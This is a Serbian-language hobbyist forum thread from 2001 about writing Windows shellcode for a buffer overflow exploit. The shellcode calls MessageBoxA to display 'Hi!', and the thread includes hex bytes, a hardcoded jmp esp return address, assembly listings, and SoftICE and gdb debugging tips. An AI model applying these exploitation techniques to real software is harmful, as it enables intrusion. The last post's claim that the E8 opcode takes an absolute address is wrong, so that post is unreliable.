Novo

Forum kao aplikacija na telefonu

Dodajte forum na početni ekran i koristite ga kao aplikaciju, sa menijem na dnu ekrana.

  • 40 odgovora
  • 12.965 pregleda

Najnovija ↓

MessageBoxA in user32.dll 22.07.2001. u 18:42 · pre 307 meseci #1
Da li neko zna kako mogu da saznam adresu MessageBoxA u user32.dll? (adrese se razlikuju u zavisnosti od win-a)

poz.
Re: MessageBoxA in user32.dll 22.07.2001. u 19:19 · pre 307 meseci #2
Citat:
kajla je napisao:
Da li neko zna kako mogu da saznam adresu MessageBoxA u user32.dll? (adrese se razlikuju u zavisnosti od win-a)

poz.



skini SoftICE pa probaj s njim...cim se bavis inace ?
Potpis
Freelance security consultant -
UNIX Administrator -
www.avalon.hr - [email protected]
Re: MessageBoxA in user32.dll 22.07.2001. u 23:31 · pre 307 meseci #3
Hmm probaj sa GetProcAddress ili tako nesto ima API fja....
Kod bi ovako nesto trebao da ide:

void *handler;
void *func;
handel = LoadLibray("user32.dll");
func = GetProcAddress(handler,"MessageBoxA");

ili je pak to GetProcAddr proveri u MSDN ;o)
Re: MessageBoxA in user32.dll 23.07.2001. u 14:49 · pre 307 meseci #4
Da, to sa GetProcAddress radi tako.

Inace pravim buffer overflow exploit pa hocu da napravim shell_code koji ce da prikazuje MessageBox (tek da bi video da exploit radi).

poz.

PS. koja je najnovija verzija SoftICE-a?
Re: MessageBoxA in user32.dll 24.07.2001. u 14:05 · pre 307 meseci #5
Nasao sam adresu MessageBoxA (0xBFF5412E)
i napravio shell_code:

55 8B EC 33 FF 57 C6 45 FC 48 C6 45 FD 69 C6 45 FE 21 BA
2E 41 F5 BF 52 57 8D 55 FC 52 52 57 FF 55 F8

u eip sam stavio jmp esp, koji sam nasao u kernel32.dll (0x8012F5CD), shell_code u stack. Tako da bi trebo da se pojavi MessageBox, pa da se program srusi. Ali desi se sledece:

Program se odmah srusi ne pojavi se MessageBox, onda ja u SoftICE pogledam stack:

55 8B EC 33 FF 57 C6 45 FC 48 C6 45 FD 69 C6 45 FE 21 BA
2E 41 F5 BF 52 05 00 00 C0 52 52 57 FF 55 F8
.........................^^^^^^^^ (tackice su zbog formatiranja)
ovo se razlikuje zasto?
sad ja adresu iz esp-a upisem u eip, i izadjem iz SoftICE, sada se pojavi MessageBox ali sa nekim potpuno bezveze tekstom!

Jos jedno pitanje u vezi SoftICE, da li je moguce da ja njemu zadajem asemblerske instrtukcije (recimo umesto sto sam adresu iz esp-a upisao u eip, kako mogu da izvrsim mov esp,eip)

poz.


[Ovu poruku je menjao kajla dana 07-24-2001 u 01:07 PM GMT]
Re: MessageBoxA in user32.dll 24.07.2001. u 16:31 · pre 307 meseci #6
Code:

push   %ebp
mov    %esp,%ebp
xor    %edi,%edi
push   %edi
movb   $0x48,0xfffffffc(%ebp)
movb   $0x69,0xfffffffd(%ebp)
movb   $0x21,0xfffffffe(%ebp)
mov    $0xbff5412e,%edx
push   %edx
push   %edi 
lea    0xfffffffc(%ebp),%edx
push   %edx
push   %edx
push   %edi
call   *0xfffffff8(%ebp)


Malo ti je cudan ceo shellcode.
Za stampanje stringa uopste nemoras da koristis ovako nesto.
Recimo call *MessageBoxA bi resilo probelme.
Naime na ebp - 8 ne znam da li uopste imas adresu ... logicinije bi bilo call *0xfffffff8(%esp)
Re: MessageBoxA in user32.dll 24.07.2001. u 16:34 · pre 307 meseci #7
+ da kazem da ne vidim nigde string koji ces da stampas ,a pripremanje frame pointera(ebp) ( push %ebp,movl %esp,%ebp) nije potrebno u shellcodeu ;o)
Re: MessageBoxA in user32.dll 24.07.2001. u 17:27 · pre 307 meseci #8
Citat:
predator je napisao:
Code:

push   %ebp
mov    %esp,%ebp
xor    %edi,%edi
push   %edi
movb   $0x48,0xfffffffc(%ebp)
movb   $0x69,0xfffffffd(%ebp)
movb   $0x21,0xfffffffe(%ebp)
mov    $0xbff5412e,%edx
push   %edx
push   %edi 
lea    0xfffffffc(%ebp),%edx
push   %edx
push   %edx
push   %edi
call   *0xfffffff8(%ebp)


Malo ti je cudan ceo shellcode.
Za stampanje stringa uopste nemoras da koristis ovako nesto.
Recimo call *MessageBoxA bi resilo probelme.
Naime na ebp - 8 ne znam da li uopste imas adresu ... logicinije bi bilo call *0xfffffff8(%esp)


Pogledaj malo pazljivije:

movb $0x48,0xfffffffc(%ebp)
movb $0x69,0xfffffffd(%ebp)
movb $0x21,0xfffffffe(%ebp)

Shell_code inace stampa "Hi!" (bez navodnika), kao sto znas 0x48=H,
0x69=i,0x21=!. Inace resio sam problem, tako da sada exploit radi, dodao sam shell_cod-u da pozove exit(0).

Jos uvek stoje ona pitanja u vezi SoftICE-a.

poz.
Re: MessageBoxA in user32.dll 24.07.2001. u 19:18 · pre 307 meseci #10
Kod zapravo ide ovako:

Code:

push ebp
mov ebp,esp
xor edi,edi
push edi
mov byte ptr[ebp-04h],48h
mov byte ptr[ebp-03h],69h
mov byte ptr[ebp-02h],21h
mov edx, 0xBFF5412E
push edx
push edi
lea edx,[ebp-04h]
push edx
push edx
push edi
call dword ptr[ebp-08h]


poz.
Re: MessageBoxA in user32.dll 26.07.2001. u 14:34 · pre 307 meseci #12
Ne vidim kako u gdb-u da uradim sledece:
$ gdb

(gdb) file main
Reading symbols from main...done.
(gdb) break overflow
Breakpoint 1 at 0x8048486
(gdb) run
Starting program: /home/trifold/main

Breakpoint 1, 0x08048486 in overflow ()
(gdb)nexti
(gdb)nexti

e sad ja hocu da izvrsim:

call 0x8048480

kako? tj kako da izvrsim bilo koju asm instrukciju?

poz.
Re: MessageBoxA in user32.dll 26.07.2001. u 14:59 · pre 307 meseci #13
Ako oces da izvrsis neku asm instrukciju onda moras da napravis program za to.Ja licno nisam video u gdb dokumentaciji da se tako nesto pominje.
Re: MessageBoxA in user32.dll 26.07.2001. u 16:49 · pre 307 meseci #14
Hoces da kazes da je to nemoguce uraditi iz gdb-a? Cudno jer mi to ponekad zatreba. Nego me zanima kako u gdb-u da ocitam vredonst sa neke momorijske lokacije (to je moglo u SoftICE da se uradi sa "d 0xBF70000" - pokazuje sadrzaj momerijske lokacije 0xBF7000), jos me zanima:
sa naredbom disassemble gdb pretvara "opcodes" sa zadate memorijske lokacije u asm instrukcije, da li je moduce uraditi suprotno?

poz.
Re: MessageBoxA in user32.dll 26.07.2001. u 16:55 · pre 307 meseci #15
Zaboravih da pitam: zanima me jos kako se iz gdb-a edituje neka memorijska lokacija kao i kako da editujem registre. (u SoftICE se to radilo "e 0xBFF7000" - edituje, "r eip" - edituje eip).

poz.
Re: MessageBoxA in user32.dll 26.07.2001. u 18:51 · pre 307 meseci #16
Za sadrzaj neke promenljive korsti :
x/x adresaq

A za menjanje sadrzaja registra to ne znam.Za pretvaranje asm instrukcije u binarno mozes da koristis x/bx adresa pa koliko ti treba ili samo x/x za 4 byte-a ;o)
Re: MessageBoxA in user32.dll 28.07.2001. u 15:43 · pre 307 meseci #17
Napravio sam sledeci progy:
Code:

main()
{
__asm{
push 0
call 0x1020af90
}
}


e sad ovaj MS VC se is3povo pa mi javlja kod ovog call "invalid operand type" , ne kapiram sto neradi ja sam meni je u A86 ovo radilo:
Code:

push 0
call 1020af90h

poz.

PS. treba mi opcodes za ovu instrukciju "call 0x1020AF90".



[Ovu poruku je menjao kajla dana 07-28-2001 u 02:44 PM GMT]
Re: MessageBoxA in user32.dll 28.07.2001. u 17:10 · pre 307 meseci #18
Posto samo call 0x0x1020af90 nesto se folira evo ti jedan drugi nacin koji je takodje veoma uspesan ;o)

Code:

int main(){
 __asm__ (
   "movl $0x1020af90,%eax \n"
   "call *%eax \n" );
}


sto u HEX izgleda vako :

Code:

char code[]="\xb8\x90\xaf\x20\x10\xff\xd0";
Re: MessageBoxA in user32.dll 30.07.2001. u 00:51 · pre 307 meseci #19
Ma znam za taj nacin, prebacis adresu u neki registar, pa ona ides sa:
Code:

call <ime_registra>


Ali kod je kraci kad ides sa:
Code:

call 0x1020AF90


poz.

Re: MessageBoxA in user32.dll 30.07.2001. u 03:35 · pre 307 meseci #20
samo kod za tu call instrukciju:

0xe8 0x8b 0xaf 0x20 0x10

ovako radi za svaki far call, pa prema tome

0xe8 na pocetak, pa adresa u little endian obliku...

Toliko.
Potpis
Možda se moje mišljenje promenilo, ali ne i činjenica da sam u pravu.
Odgovori
Prijavite se da biste odgovorili u ovoj temi.PrijavaRegistracija

Premeštanje teme